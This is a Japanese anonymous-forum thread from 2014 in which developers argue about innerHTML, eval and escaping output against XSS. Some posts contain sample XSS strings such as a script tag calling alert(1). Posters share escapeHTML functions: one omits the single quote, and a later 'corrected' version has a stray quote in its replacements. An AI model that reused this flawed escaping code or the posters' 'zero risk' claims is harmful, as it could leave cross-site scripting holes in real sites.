evalは絶対に使ってはならないと書いてある。




↓うっそぴょーんw

http://cou929.nu/data/google_javascript_style_guide/#eval
> デシリアライズ (deserialization) するときのみ使用可. (例えば RPC レスポンスを評価するときなど)
0213Name_Not_Found
垢版 |
2014/11/10(月) 21:31:47.24ID:???
ユーザーが入力した値をinnerHTMLで
代入するときは気をつけないといけないが、
プログラマが書いた文字列を代入するだけなら
安全だから問題ないんだよ。
最低限これぐらいは理解してから会話に参加してくれ。
0214Name_Not_Found
垢版 |
2014/11/10(月) 21:45:44.89ID:???
人的ミスがないとは言い切れない
0215Name_Not_Found
垢版 |
2014/11/10(月) 21:46:51.14ID:???
そうなるとサーバサイドで文字列を無害化しなくていいって言ってるるようなもんだね

echo htmlspecialchars($s, ENT_QUOTES, 'utf-8');はしなくていい
ehoc $s;でいいみたいなことをいってるんだね
0216Name_Not_Found
垢版 |
2014/11/10(月) 21:49:06.75ID:???
>>211
他にも問題があるけどいくらいっても理解されないようだからもういい
0217Name_Not_Found
垢版 |
2014/11/10(月) 21:53:17.53ID:???
>>214
人為ミスを起こすという話をすると、
createElement('script')って書いたら、
script実行できちゃうから、
createElementも使ったらダメってことになるけどいいの?
0218Name_Not_Found
垢版 |
2014/11/10(月) 21:54:57.38ID:???
>>101を全く理解してないからXSSだけとか適当な事をいうんだろう
0219Name_Not_Found
垢版 |
2014/11/10(月) 21:55:01.01ID:???
>>215
おいおい、話が全く違うだろう。

その例で言うのなら

echo 'aaa' は危険だから
echo htmlspecialchars('aaa', ENT_QUOTES, 'utf-8'); って書けって言っているようなもんだよ。

違いわかる? ユーザーの入力値がはいった変数じゃないんだ。
プログラマが入れた固定の文字列。

だから安全なんだよ。
0221Name_Not_Found
垢版 |
2014/11/10(月) 21:57:31.58ID:???
echo はミスをするとXSSを起こす。

だからechoを使うな!



え?w
0222Name_Not_Found
垢版 |
2014/11/10(月) 21:58:21.95ID:???
innerHTML はミスをするとXSSを起こす。

だから innerHTML を使うな!



え?w
0223Name_Not_Found
垢版 |
2014/11/10(月) 21:58:59.24ID:???
>>217
>>214はヒューマンエラーでXSS問題が起きるリスクを回避する話をしているのだと思うが
趣旨を理解しない意見で煙に巻くのがお得意のようだな
0224Name_Not_Found
垢版 |
2014/11/10(月) 22:00:17.47ID:???
>>223
だから、ヒューマンエラーが起きるって話をするならば、
echo は使っちゃダメってことですよね?
0225Name_Not_Found
垢版 |
2014/11/10(月) 22:02:49.62ID:???
script 要素に appendChild() とかやったらどうなる?
0226Name_Not_Found
垢版 |
2014/11/10(月) 22:02:54.79ID:???
いつからバグをヒューマンエラーっていうようになったの?

バグをしたら脆弱性が起きるような命令は使ったらダメというのなら
プログラム書けないだろ。

ファイルを削除するdeleteは、バグがあったら
全ファイル消えるから使っちゃダメとか?w
0227Name_Not_Found
垢版 |
2014/11/10(月) 22:03:05.20ID:???
>>224
echoなど知らん
相変わらず、煙に巻くのが得意だな
0228Name_Not_Found
垢版 |
2014/11/10(月) 22:05:03.83ID:???
>>225
> script 要素に appendChild() とかやったらどうなる?
そりゃ、そういうコードを書く奴が悪いというのは誰もが認めると思うが
ヒューマンエラーで「間違ってappendChild しちゃいました」なんて事が起こりうると思っているのか?
0229Name_Not_Found
垢版 |
2014/11/10(月) 22:10:54.50ID:???
>>226
ヒューマンエラーでバグが発生するという理屈も分からないのか
原因と結果を切り分けて考えることも出来ないのか
0230Name_Not_Found
垢版 |
2014/11/10(月) 22:12:24.92ID:???
>>228
いや、単純にscript要素に子要素ノードとか作れてしまうのか
と思って聞いてみたのだが

> 「間違ってappendChild しちゃいました」
例えば script 要素に id が振られていて、
間違ってその id で getElementById で要素を取得して
appendChild するようなことはあり得るかもしれない
0231Name_Not_Found
垢版 |
2014/11/10(月) 22:21:11.44ID:???
>>219
え?固定された文字列でもサニタイズしないとかありえませんよ?
0232Name_Not_Found
垢版 |
2014/11/10(月) 22:26:15.46ID:???
>>230
> 例えば script 要素に id が振られていて、
> 間違ってその id で getElementById で要素を取得して
> appendChild するようなことはあり得るかもしれない
それは appendChild 以前の問題だ
それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
期待しなかった場所に appendChild されたのならデバッグ時に気がつくはずだし、気が付くべきだ
(気が付かなかったのならデバッグが足りない)

XSSの厄介なところは事象が発生しなければ問題にはならないという事だ
ヒューマンエラーでXSSが発生しているのなら意図的にXSSを発生しようとしなければ発見できないだろう
「間違ってappendChildしちゃいました」とは根本的に違う
0233Name_Not_Found
垢版 |
2014/11/10(月) 22:27:53.51ID:???
> それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
ちなみに「間違って innerHTML しちゃいました」の方が想定されるリスクは大きい
script要素でなくてもXSSが起こりうるからな
0234Name_Not_Found
垢版 |
2014/11/10(月) 22:30:48.95ID:???
ヒューマンエラーはありとあらゆるセキュリティホールの可能性があるから超危険だ
人間はプログラムを書くべきではないな
0235Name_Not_Found
垢版 |
2014/11/10(月) 22:36:32.80ID:???
だったらプログラムを書くコンピュータを作ろう
しかしそのコンピューターのプログラムは誰が書こうか
0236Name_Not_Found
垢版 |
2014/11/10(月) 22:50:36.22ID:???
>>231
あほだろ。

固定の文字列に対してエスケープする意味は無い。
0237Name_Not_Found
垢版 |
2014/11/10(月) 22:55:23.85ID:???
固定の文字列をechoする時にエスケープしなくていいのは
リスクが0だから。

同様に固定の文字列。innerHTML = '<span>abc</span>'とか
XSSになりようがない。つまりリスク0だから何の問題もない。

リスクが0なのに、そのリスクがどうとか言うのは
リスク管理じゃなくて、単なる過保護。
0238Name_Not_Found
垢版 |
2014/11/10(月) 22:57:40.87ID:???
間違って innerHTML しちゃっても問題は起きない。
なぜなら、appendChildしちゃいましたと同じだから。

appendChildしても、scriptと入れない限り大丈夫なように
inenrHTMLをscriptを入れない限り大丈夫。

この説明で同じだってことがよくわかったと思うがね。
0239Name_Not_Found
垢版 |
2014/11/10(月) 23:00:39.74ID:???
過保護パターンみたいな名前のアンチパターンありそうだなw

例えば、if (a > 0 and a !== 0) みたいに
明らかにやる必要がないのに、念のためとかいって
やる初心者がいるんだよねw

こういうのは、コードがどう動くか
わかってないから。
0241Name_Not_Found
垢版 |
2014/11/10(月) 23:08:28.44ID:???
チェックミスが起きるからヒューマンエラーなんだがな
appendChild と innerHTML を同一視するとか、リスクの規模を測る目を持たない人がいう事は違うな
0242Name_Not_Found
垢版 |
2014/11/10(月) 23:09:16.38ID:???
>>240
はい。同じです。

固定値をinnerHTMLに入れている限りXSSは起きません。
逆に、appendChildの値をユーザーーが入力可能だとXSS起きる可能性があります。
echoも同じです。固定値ならばXSSは起きません。


違い、分かりますか? 変数の内容がユーザーが入れられるかどうかです。
エンドユーザーが入れられるなら、XSSは起きる可能性がありますが、
固定値を入れている限りXSSは起きません。

絶対に起きません。
0243Name_Not_Found
垢版 |
2014/11/10(月) 23:10:11.01ID:???
>>241
チェックミスって何のチェックですか?

コードにバグがないかチェックしないんですか?
0244Name_Not_Found
垢版 |
2014/11/10(月) 23:11:25.57ID:???
まさにこれなんだよね。
echoをミスするとXSS起きるから、
echoを使うなっていう馬鹿はいない。

221 名前:Name_Not_Found[sage] 投稿日:2014/11/10(月) 21:57:31.58 ID:???
echo はミスをするとXSSを起こす。

だからechoを使うな!



え?w


222 名前:Name_Not_Found[sage] 投稿日:2014/11/10(月) 21:58:21.95 ID:???
innerHTML はミスをするとXSSを起こす。

だから innerHTML を使うな!



え?w
0245Name_Not_Found
垢版 |
2014/11/10(月) 23:13:27.03ID:???
>>243
バグがあったら脆弱性になるだよ。

あっ! innerHTML使って、しかも間違って
代入するテキストにscriptタグを書いてしまった!


どんだけありえない話だよwwww

innerHTML使うだけじゃ何の問題も起きないからね。
innerHTMLを使ってなおかつ、ありえない条件を満たさない限りXSSは起きない。
0246Name_Not_Found
垢版 |
2014/11/10(月) 23:14:32.00ID:???
プロなら過保護はやめろよw
いつまでも補助輪付けて
競輪に出場してるんじゃねーよw
0247Name_Not_Found
垢版 |
2014/11/10(月) 23:14:58.62ID:???
>>236
お前サーバサイドやったことないだろ
0248Name_Not_Found
垢版 |
2014/11/10(月) 23:16:28.18ID:???
>>247
お前がやったことないだろ。
はい論破w
0249Name_Not_Found
垢版 |
2014/11/10(月) 23:18:21.00ID:???
こういう喩え話思いついたわw


あるプログラマが、echo '<p>ほげほげ</p>'というコードを書いていました。


もう一人の知障プログラマがエスケープしろ!固定値でもエスケープしろ!っと喚いて
すべてのプログラムをこう書き換えました。
echo htmlspecialchars('<p>ほげほげ</p>', ENT_QUOTES, 'utf-8');


大損害を与えたため知障プログラマは会社を首になりましたwww
0250Name_Not_Found
垢版 |
2014/11/10(月) 23:19:07.39ID:???
ところどころ全然的を得てない例を出してる人は流れの邪魔
0251Name_Not_Found
垢版 |
2014/11/10(月) 23:20:16.54ID:???
まずエスケープする所は、ユーザーが入力した文字。
固定値はエスケープしないで出力しても安全。
これがサーバーサイドの常識。

クライアントサイドでも同じで、
innerHTMLに固定値を代入するときは
何の問題も起きない。リスクもない。
0253Name_Not_Found
垢版 |
2014/11/10(月) 23:30:55.91ID:???
お前が意味のないコード書いてるだけ。
意味があることだけやれや
過保護やろう
0254Name_Not_Found
垢版 |
2014/11/10(月) 23:32:53.23ID:???
ママーこわいよ。ヒューマンエラー怖いよー
リスクがー、リスクがー。
バグかいても、動くコードかいてー
リスクゼロじゃなきゃだー
0255Name_Not_Found
垢版 |
2014/11/10(月) 23:34:00.59ID:???
innerHTMLに代入する文字が
固定の文字列ならリスクゼロだよw
0256Name_Not_Found
垢版 |
2014/11/10(月) 23:37:50.05ID:???
たぶん「固定の文字列」がわからないんだよ
0257Name_Not_Found
垢版 |
2014/11/10(月) 23:37:53.79ID:???
>>255
innerHTMLを選択する理由もゼロになるな
0258Name_Not_Found
垢版 |
2014/11/10(月) 23:40:49.79ID:???
innerHTML君はいい加減、黙ってくれないかな
言いたいことは全ていっただろうに、いつまで続けるというのか
0259Name_Not_Found
垢版 |
2014/11/10(月) 23:41:21.39ID:???
>>257
コードがシンプルになるよ。

innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';

これをinnerHTMLを使わないで書こうとすると
複雑になるからね。つまりコストが掛かってバグを起こすリスク(笑)が高くなる。

>>256
なるほど。固定の文字列がわからないのか。
上の、'<table>〜</table>'のことだよ。
値が変わらないからXSSが起きるリスクがない
0260Name_Not_Found
垢版 |
2014/11/10(月) 23:42:38.61ID:???
>>258
> いつまで続けるというのか
え? それ言っておかないとダメ?

反論する人がいる限り叩き潰しに来るし、
この話題が出るたびに再登場するよ。

ちゃんと、いつまで続けるか言ったので
今度から聞かないでね。
0261Name_Not_Found
垢版 |
2014/11/10(月) 23:45:11.98ID:???
innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';

と書こうとして、ちょっと眠くてうっかりして手が滑って

innerHTML = '<table id="tbl"><tr><td class="first"><script>alert(1)</script>なんとか</td></tr></table>';

って書いてしまったらどうするんだ!


ねーよw
0262Name_Not_Found
垢版 |
2014/11/10(月) 23:46:03.69ID:???
なんとかの部分を可変にしてほしいという変更依頼があったらどうする?
0263Name_Not_Found
垢版 |
2014/11/10(月) 23:46:35.70ID:???
ここまで低次元だという事がないな
0264Name_Not_Found
垢版 |
2014/11/10(月) 23:46:47.42ID:???
>>262
エスケープする。サーバーサイドの常識(笑)だろ
0265Name_Not_Found
垢版 |
2014/11/10(月) 23:47:52.76ID:???
エスケープするの忘れるかもしれないから
echo禁止。ユーザーが入力したものを表示するの禁止。
0266Name_Not_Found
垢版 |
2014/11/10(月) 23:48:33.81ID:???
変更依頼があって、そこからやるのか…
0267Name_Not_Found
垢版 |
2014/11/10(月) 23:49:44.45ID:???
>>263
それだけ過保護が多いんだろ。
うちの会社は馬鹿ばかりだから規則を守れ。
理由は考えるなお前らはただ規則を何も考えずに守ってればいいんだ。
0268Name_Not_Found
垢版 |
2014/11/10(月) 23:50:40.06ID:???
>>266
何か問題?

低次元の人は何考えてるのかわからんので、
ちゃんと書こうね。
0269Name_Not_Found
垢版 |
2014/11/10(月) 23:50:41.67ID:???
>>215あたりがこいつの考えの根底にあるものか
テキスト操作に拘り過ぎてDOMの概念がないんだな
0270Name_Not_Found
垢版 |
2014/11/10(月) 23:51:46.19ID:???
>>267
理由を理解できないおまえにいわれたくないわ
0271Name_Not_Found
垢版 |
2014/11/10(月) 23:52:22.74ID:???
>>264
ネタだと思ってたらお前は絶対にサーバサイドでコード書かないほうがいいよ
0272Name_Not_Found
垢版 |
2014/11/10(月) 23:52:50.00ID:???
>>268
依頼がなくても最初から全部エスケープしていればいいだろ

innerHTML = escapeHTML('<table id="tbl"><tr><td class="first">なんとか</td></tr></table>');

ドヤッ!
0273Name_Not_Found
垢版 |
2014/11/10(月) 23:53:36.23ID:???
>>270
みんなお前が馬鹿だってわかってるから
もうやめたら?w

>>271
へー。あんたエスケープしないんだ?
ユーザーが入力した文字をエスケープしないんだねw
0274Name_Not_Found
垢版 |
2014/11/10(月) 23:55:03.18ID:???
>>271
まさか、まだサーバーサイドで固定値をエスケープしろとか言ってんの?

echo htmlspecialchars('<table id="tbl"><tr><td class="first">なんとか</td></tr></table>', ENT_QUOTES, 'utf-8');

なるほど、こういうコード書けと。

あんた、バグってますよw
0275Name_Not_Found
垢版 |
2014/11/10(月) 23:55:37.97ID:???
>>273
会話のキャッチボールできないのかな?
まともに相手してもらえなくなりますよ
0276Name_Not_Found
垢版 |
2014/11/10(月) 23:57:04.98ID:???
>>274
逆にいちいち区別するほうが変だろ
常にしておけばいい
0277Name_Not_Found
垢版 |
2014/11/10(月) 23:57:21.39ID:???
>>275
相手しなくていいってw
どうせお前だけだろ? 意味もなくinnerHTML使うなって言ってるのは。

俺はしっかり言った。代入するのが固定の文字列であれば
innerHTMLを使うリスクは0だ。

固定値じゃない(ユーザーが入力する文字)ならばエスケープすればいい。

さあ、反論は?

ボール投げたから、ちゃんと投げ返してね。
0278Name_Not_Found
垢版 |
2014/11/10(月) 23:58:00.06ID:???
>>276
だからバグってるだろw
正しく動いてないだろw
0279Name_Not_Found
垢版 |
2014/11/10(月) 23:58:58.39ID:???
>>278
いや、そのコードかいたの俺じゃないし
0280Name_Not_Found
垢版 |
2014/11/10(月) 23:59:13.25ID:???
バグっていても、リスクが0なら
そっちの方がいいだろう?
0281Name_Not_Found
垢版 |
2014/11/10(月) 23:59:41.73ID:???
初めてだわ、場合によってサニタイズするって考えの人
LTでも勉強会でも見たことないので是非スライドシェアに投稿してほしいね
0282Name_Not_Found
垢版 |
2014/11/11(火) 00:00:38.75ID:???
>>276
「常にしておく」って誰かから聞いたのをそのまま言ってるだけ?

常にしておくっていうのは、変数を出力する時の話であって
固定の文字列の部分は関係ないよ。

ちゃんと理解してないで、言葉だけ覚えてるから
そういう間違いをするんだよ。
0284Name_Not_Found
垢版 |
2014/11/11(火) 00:03:44.47ID:???
>>281
あー、わかったわ。お前が何を勘違いしているのか。

全部エスケープしろって言われて、
echoで出す文字全てをエスケープしろって思ってるだろ?

echo htmlspecialchars('<table id="tbl"><tr><td class="first">$nantoka</td></tr></table>', ENT_QUOTES, 'utf-8');

みたいに。

あのね、よく聞いてね。
みんなが言ってる「常にエスケープしろっていうのは」

<table id="tbl"><tr><td class="first"> <?php echo htmlspecialchars('$nantoka', ENT_QUOTES, 'utf-8') ?> </td></tr></table>;

変数の部分だけだから。

ここまで次元が低いと、降りるまで時間がかかるわw
0285Name_Not_Found
垢版 |
2014/11/11(火) 00:05:44.63ID:???
>>284のコードを
innerHTMLの話に戻すと

innerHTML = '<table id="tbl"><tr><td class="first">なんとか</td></tr></table>';

これはエスケープする必要はない。固定の文字列であり変わることがなくて安全だから。

「なんとかの部分を変えたい」という話であれば、こう。

innerHTML = '<table id="tbl"><tr><td class="first">' + escapeHTML(nantoka) + '</td></tr></table>';
0286Name_Not_Found
垢版 |
2014/11/11(火) 00:08:41.72ID:???
>>284
あんたが一人で騒いでるだけだろう
俺は>>215と書いたのに勝手に脱線してるのはお前なんだよ
0287Name_Not_Found
垢版 |
2014/11/11(火) 00:09:08.73ID:???
今頃、変数の前後の固定の文字列まで含めて
エスケープしているスライドを探してるのかな?w
0288Name_Not_Found
垢版 |
2014/11/11(火) 00:10:24.93ID:???
>>286
別に騒いでるのが俺だけってことでもいいよ。

俺の言ってることが間違っていると言わないなら
全然問題なし。

で、固定の文字列は安全です。
0289Name_Not_Found
垢版 |
2014/11/11(火) 00:26:54.56ID:???
ここらへんで、一旦まとめを書いておきますね。

Q. innerHTMLは絶対に使ったらダメなの?
A. XSSが起きるような使い方をしなければ使って問題はありません。

Q. XSSが起きる場合とはどんな時ですか?
A. ユーザーからの入力された変数をそのまま出力するとXSSになる可能性があります。

Q. XSSが起きないようにするにはどうすればいいですか?
A. エスケープをしましょう。以下は例です。
innerHTML = '<table id="tbl"><tr><td class="first">' + escapeHTML(text) + '</td></tr></table>';

Q. escapeHTMLが使えません。
A. 残念ながら標準では用意されていないのでライブラリを使うか自分で実装する必要があります。


function escapeHTML(str) {
return str.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
lodash.js https://lodash.com/docs#escape
Prototype.js http://api.prototypejs.org/language/String/prototype/escapeHTML/

Q. escapeHTMLと書くのが面倒です。
A. テンプレートライブラリなどを使えば簡単にかけます。

例 lodash
_.template('<b><%- value %></b>', { 'value': '<script>' });
// → '<b>&lt;script&gt;</b>'

Q. createElementやappendChild等のDOM命令を使ったほうがいいのではないですか?
A. 使ってもいいですがコードが冗長になります。
安全な場合(XSSが起きない場合)は冗長にしてまでDOMを使う理由がありません。
0290Name_Not_Found
垢版 |
2014/11/11(火) 00:48:54.93ID:????2BP(6567)

casperjsをインストールして試そうとすると以下のエラーがでてうまく動かないです。

【環境】OS:Win7pro 64bit
【何をしたのか】
コマンドプロンプトでcasperjsを試そうとすると以下のエラー?がでます

【エラーメッセージ】

C:\Users\*******>casperjs --version
1.1.0-beta3
Unsafe JavaScript attempt to access frame with URL about:blank from frame with URL file:///C:/jstools/casperjs-1.1-beta3/bin/bootstrap.js. Domains, protocols and ports must match.

【期待する結果】
PhantomJSとCasperJSをうまくインストールしたいです。
エラーの原因がわかる方、いらっしゃいましたら宜しくお願いします。
0293Name_Not_Found
垢版 |
2014/11/11(火) 00:53:57.57ID:???
早くこの辺の話終わんねえかな…
0294Name_Not_Found
垢版 |
2014/11/11(火) 00:55:04.54ID:???
>>293
終わったよ。まとめ書いたから止まった。

もう次の話に入ったよ。
0295Name_Not_Found
垢版 |
2014/11/11(火) 01:00:10.46ID:???
次からID出すといいかもね
ID出しておくと便利で、うざいやつからの反論が無くなるらしいよ
0296Name_Not_Found
垢版 |
2014/11/11(火) 01:02:37.92ID:???
>>295
昨日だったか一昨日だったかは出したんだけどね。
今回は反論を叩きのめそうと思ったので
あえて隠した。どっちにするかは気分次第。
0297Name_Not_Found
垢版 |
2014/11/11(火) 01:07:35.11ID:????2BP(6567)

>>291
ありがとう
なんとなく?読んでみたけど今のところ解決策がない感じ・・・かなぁ
0298Name_Not_Found
垢版 |
2014/11/11(火) 01:08:11.93ID:???
ほんとぱたっとやんだなw
やっぱりinnerHTMLを否定していたのは一人だったか。
俺も寝るから、またあしたな。

>>297
どうやらバグみたいだから
一つ前のバージョンに戻すとかしてみればいいんじゃない?
0299Name_Not_Found
垢版 |
2014/11/11(火) 01:14:20.91ID:???
一人で頑張るならID出したほうがいいぞ
自演を疑われるぐらいなら初めからID出したほうが信用される
後は各自で判断するだろうさ
0300Name_Not_Found
垢版 |
2014/11/11(火) 01:17:19.19ID:???
ようやく向こうのスレが収束したわけだが

> function escapeHTML(str) {
> return str.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
> }
これは酷いな
XSSが発生するコードを披露するとは
0301Name_Not_Found
垢版 |
2014/11/11(火) 01:20:47.18ID:???
>>300
もしかしてシングルクォートの話してる?

http://d.hatena.ne.jp/ockeghem/20070510/1178813849

> 私が、シングルクォート「'」もエスケープ対象に加えているのは、
> 属性値をシングルクォートで囲むケースが少なからず見受けられるからで、
> かならずダブルクォート「"」で囲むように徹底されていれば、このガイドラインは必要ありません。

まあ、あったほうがいいよね。
0302Name_Not_Found
垢版 |
2014/11/11(火) 01:24:01.42ID:???
Underscpreはこうらしいね。 これだけやっておけば大丈夫みたい。

http://stackoverflow.com/questions/6020714/escape-html-using-jquery
There's also _.escape in Underscore, that does it like this:

// List of HTML entities for escaping.
var htmlEscapes = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#x27;',
'/': '&#x2F;'
};

// Regex containing the keys listed immediately above.
var htmlEscaper = /[&<>"'\/]/g;

// Escape a string for HTML interpolation.
_.escape = function(string) {
return ('' + string).replace(htmlEscaper, function(match) {
return htmlEscapes[match];
});
};
0303Name_Not_Found
垢版 |
2014/11/11(火) 01:29:47.87ID:???
訂正版はこれでいいのかな。

function escapeHTML(str) {
return str.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/'/g, "'&#x27;").replace(/\//g, "'&#x2F;");
}
0304Name_Not_Found
垢版 |
2014/11/11(火) 01:31:55.47ID:???
>>300
あえてこちらには書き込まなかったのになぜこっちにコピペするんだよ

>>302
明らかに足りない
「ライブラリで使っているから大丈夫」という信者判断はいい加減に卒業しろ
しかも、「大丈夫みたい」とは何も理解してないだろ
0305Name_Not_Found
垢版 |
2014/11/11(火) 01:32:57.68ID:???
>>304
「足りない」っていうぐらいなら
何が足りないのかいいなよ。
難癖つけてるようにしか見えないからさ
0306Name_Not_Found
垢版 |
2014/11/11(火) 01:34:19.23ID:???
>>304
> あえてこちらには書き込まなかったのになぜこっちにコピペするんだよ

こっちの続きだから

> 明らかに足りない

じゃあ、足りない文字は何?
そいれ付け加えるだけなんだからさ
0307Name_Not_Found
垢版 |
2014/11/11(火) 01:35:41.73ID:???
>>304
あなたよりも、徳丸さんの方を信じますよw

徳丸さんは / はエスケープしてないね。
たしかに要らないように思える。
0308Name_Not_Found
垢版 |
2014/11/11(火) 01:37:57.87ID:???
仕様を読めば分かる事を一々聞くな
仕様も読めない奴が一人前な口を叩くな

この後の展開は読めてる
「知らないんだろ?じゃあ、問題ないってことだな」
煽ってもおまえに教える気は全くないがね
0309Name_Not_Found
垢版 |
2014/11/11(火) 01:38:10.16ID:???
本当、文句だけ言って自分の意見は書かないクズはなんなんだろうな
0310Name_Not_Found
垢版 |
2014/11/11(火) 01:39:59.82ID:???
それじゃだめ

なんで?

いいやだめだめ

だからなんで?

だめったらだめ

駄目だこいつ話にならねぇw
0311Name_Not_Found
垢版 |
2014/11/11(火) 01:41:50.95ID:???
仕様によると最低限のエスケープはこれだけらしい。

http://d.hatena.ne.jp/ockeghem/20070510/1178813849
> W3CのHTML4.01の仕様を見ると、〜略〜すなわち、最低限のエスケープだと以下のようになります。
>
> エスケープ対象項目 エスケープ対象文字
> 要素内容(一般のテキスト) 「<」、「&」
> 属性値 「"」、「>」、「&」

これ+ブラウザのバグ対策か。
0312Name_Not_Found
垢版 |
2014/11/11(火) 01:44:48.21ID:???
>>308
> この後の展開は読めてる
> 「知らないんだろ?じゃあ、問題ないってことだな」

普通にその通りの展開だよw

でも先が読めてても、対策出来てないんじゃ
片手落ちだけどね。


お前がパンチを出してくるのは読めていた!(勝ったつもり)
そしてパンチで殴られる。(笑)
先が読めてても、殴られる例。
0313Name_Not_Found
垢版 |
2014/11/11(火) 01:46:38.58ID:???
先が読めてるくせに、その先を行けないっていうのは、
言い返せないからってことだと思うw

そういう反論するのはわかっていたが、
その反論の反論はできないってことだから。
0314Name_Not_Found
垢版 |
2014/11/11(火) 01:51:25.80ID:???
なんか向こうでこういうこと言ってる奴がいるわw

> >>132が向こうのスレにコピペされてるんだが、誰がやったんだ?
> 迷惑だから止めてくれ

こっちの話を移動させようとしてるの見え見えだってのに
見苦しいやつだなw
0315Name_Not_Found
垢版 |
2014/11/11(火) 08:02:27.92ID:???
innerHTML否定厨が完全論破されててワロタw
0316Name_Not_Found
垢版 |
2014/11/11(火) 08:30:42.48ID:???
replaceの回数だけ文字列を全部読んでいてワロタw
0317Name_Not_Found
垢版 |
2014/11/11(火) 09:01:58.11ID:???
>>316
ベンチマークするとそっちのほうが
速かったりするのはなんでなんだろうか?

キャッシュの関係なのかな?

ループが単純=CPUの1次キャッシュに入りきる
ループが複雑=CPUの1次キャッシュに入りきらない
0318Name_Not_Found
垢版 |
2014/11/11(火) 09:44:07.85ID:???
>>288,289

固定の文字列って何?ハードコーディングって用語も知らないの?
文字列は文字列であり変数に入れようが入れまいが代わりはない
ハードコーディングされた文字列だから安全って思い込みはやめるべきだ
"<div onclick='alert(1);'>click</div>"こういうのは文字列じゃないとか抜かすなよ

>Q. innerHTMLは絶対に使ったらダメなの?
>A. XSSが起きるような使い方をしなければ使って問題はありません。

つまり自分でDOMで構築するよりもリスクが高い事を認めているってことだよね

お前が主張する前にもう言っただろ
innerHTMLはパフォーマンスが悪くDOMを壊す
0319Name_Not_Found
垢版 |
2014/11/11(火) 09:56:13.25ID:???
>>303
エスケープ

var DIV = document.createElement('div');

function escapeHTML(str) {
DIV.textContent = str;
return DIV.innerHTML;
}

というやり方もあるんじゃないか?

ただし、この関数の場合
escapeHTML(str1) + escapeHTML(str2) の結果が
escapeHTML(str1 + str2)
に等しくならない場合があるブラウザがあると困るかもしれない

ちなみに逆変換はこれでいけるかな?

function unescapeHTML(htmlStr) {
DIV.innerHTML = htmlStr;
return DIV.textContent
}
0320Name_Not_Found
垢版 |
2014/11/11(火) 09:57:11.06ID:???
innerHTMLはパフォーマンスが悪くDOMを壊す(キリッ

世界中で使われてるのに?
jQueryにも使うなって言ってこいよ
変な宗教か何かやってるのかな?
0321Name_Not_Found
垢版 |
2014/11/11(火) 10:19:49.90ID:???
デタお決まりのjQueryガーwwwwwwwwwwww
0322Name_Not_Found
垢版 |
2014/11/11(火) 10:29:48.42ID:???
文字列操作で構築、変数部分はエスケープって一昔前に戻った感じだね
0323Name_Not_Found
垢版 |
2014/11/11(火) 10:41:28.13ID:???
DOMを壊すって曖昧な表現だな
innerHTMLを使ってもDOMがぶっ壊れたりしないから良く分からんよ
0324Name_Not_Found
垢版 |
2014/11/11(火) 10:58:54.87ID:???
無知がinnerHTML使うなって言ってて笑える
0325Name_Not_Found
垢版 |
2014/11/11(火) 11:40:48.95ID:???
ごちゃごちゃとエスケープ処理を作るよりも
こういう>>319ハックのほうが個人的には好きだな
0326Name_Not_Found
垢版 |
2014/11/11(火) 13:38:02.07ID:???
>>319
>>325
escapeの為にinnerHTMLを使うことは本当の馬鹿だからやめとけ
innerHTML否定厨よりも頭悪いぞ
0327Name_Not_Found
垢版 |
2014/11/11(火) 13:46:47.72ID:???
>>325
賢い方法だが、テキストノードのエスケープ処理しかない点に注意
属性値のエスケープ処理を追加する必要がある
0328Name_Not_Found
垢版 |
2014/11/11(火) 14:19:25.43ID:???
>賢い方法だが

ブラウザの挙動すら理解できてない馬鹿が一匹沸いたな
0330Name_Not_Found
垢版 |
2014/11/11(火) 18:58:18.81ID:???
まあ今日はポッキーでも喰って落ち着け
つ━━━一
0331Name_Not_Found
垢版 |
2014/11/11(火) 19:15:54.23ID:???
一人で回答頑張ってる奴がいるみたいだから、このスレの回答は全てそいつ一人に任せればいいんじゃない?
そいつの認める奴だけが回答する権利を持つと言わんばかりの有り様だし
0332Name_Not_Found
垢版 |
2014/11/11(火) 20:38:17.72ID:???
>>318
> つまり自分でDOMで構築するよりもリスクが高い事を認めているってことだよね

DOMで構築するほうがリスクが高いよ。
DOMで構築するとコードが長くなる。
コードが長くなるということはバグを入れる可能性が高くなる。
つまりバグを入れるリスクが高い。
0333Name_Not_Found
垢版 |
2014/11/11(火) 20:51:19.05ID:???
>>331
それ、いいね。

じゃあ、君の意見に賛成する俺と
君は回答しないことにしよう。

多分君の危険に賛成しない人はいるだろう。
そういう人は回答してもいいけど、
少なくとも俺と君、この二人はもう絶対回答しないよ
0334Name_Not_Found
垢版 |
2014/11/11(火) 21:10:30.10ID:???
>>319
DOM使ってエスケープするのは、可能といえば可能で
意外と遅くないらしいんだけど、やり過ぎだと思うよ。

仕様も実装も簡単なのに、ブラックボックスにするのがね。
あとサーバーサイドで使う時も考えると、
純粋なJavaScript(ECMAScript)の範囲にしておきたいし。

もちろん、DOMベースでやるよりも、文字列ベースのほうが
少ないメモリで実行できるので速くなる。
0335Name_Not_Found
垢版 |
2014/11/11(火) 21:12:32.90ID:???
>>318
> "<div onclick='alert(1);'>click</div>"こういうのは文字列じゃないとか抜かすなよ

あほじゃね? どこのアホがonclickなんて文字を書くんだよ。

そんなマヌケがいたとしたら、createElement使っても
onclick書くだろw

どんだけおっちょこちょいなんだw
0336Name_Not_Found
垢版 |
2014/11/11(火) 21:16:01.95ID:???
論点がずれてる。

JavaScriptを文字列の中に書くのはXSSじゃない。
それは単にaddEventListnerした要素にすぎない。

問題なのは文字列の中にJavaScriptを埋め込むことではなく
文字列の中にXSSを埋め込むこと。

文字列の中にXSSを埋め込むのは相当難しい。
0337335
垢版 |
2014/11/11(火) 21:18:01.52ID:???
>>336
そのとおりですね。

俺が言いたかったのは、文字列の中にXSSを埋め込むようなおっちょこちょいは、
createElement使ってもXSSを埋め込むおっちょこちょいだろだろってことです。
0338Name_Not_Found
垢版 |
2014/11/11(火) 21:49:16.66ID:???
俺がいいたいのは>>289のようなアホなコードを書く奴は何を書いてもXSSを起こすだろだろってことです
0339Name_Not_Found
垢版 |
2014/11/11(火) 21:55:43.65ID:???
